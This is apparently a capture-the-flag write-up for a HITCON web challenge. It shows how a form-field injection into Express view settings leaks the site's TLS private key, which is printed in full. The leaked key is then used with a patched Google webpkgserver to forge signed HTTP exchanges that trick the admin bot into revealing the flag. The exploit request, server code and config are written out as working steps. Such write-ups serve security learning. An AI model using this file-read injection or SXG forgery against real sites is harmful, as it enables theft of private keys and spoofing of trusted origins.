## SXG```Extension=( 1.3.6.1.4.1.11129.2.1.22 )====Critical=NO====Data=05 00```The certificate used by the challenge has an extra extension allowing [SXG](https://web.dev/signed-exchanges/)
## Leaking the private key```bashcurl -X "POST" "https://sharer.world/report" \     -H 'Content-Type: application/x-www-form-urlencoded; charset=utf-8' \     --data-urlencode "settings[views]=/opt/certificates" \     --data-urlencode "settings[view engine]=." \     --data-urlencode "settings[layout]=privkey.pem/dummy/"```
```-----BEGIN PRIVATE KEY-----MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvHt3r9iQY3FLPPoY/ORYMXYi2c0CKRLPB5m+G48EkZGhRANCAAT15yZTXMClrfDIsxy01ZneE73MM0PLJAQLXS53gYuLKWAy2pO93QF3bcRsM+N7vtPdDn3hudSFG/a9TgzdwNzF-----END PRIVATE KEY-----```
## Create a signed response for https://admin-bot.sharer.world/flag
We use [Web Packager Server](https://github.com/google/webpackager/blob/main/cmd/webpkgserver/README.md) to create signed HTTP exchange (SXG) using the private key. The server acts as a reverse proxy, it will fetch the "real" page on https://admin-bot.sharer.world/flag and sign it so we change our hosts file:```127.0.0.1 admin-bot.sharer.world sharer.world```and create a HTTPS server that will server our fake `/flag` page, still using the leaked certificate```pyfrom flask import Flaskapp = Flask(__name__)
@app.route("/flag")def flag():    return open("flag.html").read()
if __name__ == "__main__":    app.run(ssl_context=('fullchain.pem', 'privkey.pem'), debug=True, port=443)```
Config of Web Packager Server:```toml[Listen]  Host = '0.0.0.0'  Port = 1337
[SXG]  # https://sam.ninja is my reverse proxy, it forwards the request to localhost:1337 (this webpkgserver)  CertURLBase = 'https://sam.ninja/webpkg/cert'
[SXG.Cert]  PEMFile = './fullchain.pem'  KeyFile = './privkey.pem'  CacheDir = '/tmp/webpkg'
[[Sign]]  Domain = 'admin-bot.sharer.world'
[Cache]  MaxEntries = 0```We get the signed HTTP exchange:```bashcurl 'http://127.0.0.1:1337/priv/doc/https://admin-bot.sharer.world/flag' -H 'Accept: application/signed-exchange;v=b3' --output flag.sxg```
We can then upload flag.sxg to the challenge and setting the MIME type to `application/signed-exchange;v=b3`
It will be available at https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
We cannot directly make the bot visit this file because it would load https://sharer.world/preview/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx while loads the file in a sandboxed iframe
## Making the bot visit https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxThe bot can be triggered with a GET request:https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token
Chrome makes a GET request to the URL of the certificate specified in the SXG file so we can patch webpkgserver to use the full URL that we control:```go// https://github.com/google/webpackager/blob/53a1486f4205374a111a683a64aa5eedbacbbc7c/server/exchange.go#L100// certURL = e.CertURLBase.ResolveReference(&url.URL{Path: urlPath})certURL = e.CertURLBase```And update its config:```toml[SXG]  CertURLBase = 'https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token'
[[Sign]]  Domain = 'sharer.world'```
Again we request the signed exchange:```bashcurl 'http://127.0.0.1:1337/priv/doc/https://sharer.world/' -H 'Accept: application/signed-exchange;v=b3' --output trigger-bot.sxg```
We upload it to the challenge and report it. The bot will trigger another report and then visit our first page (https://admin-bot.sharer.world/flag)
> `hitcon{ok so the flag isn't even on that app wtf}`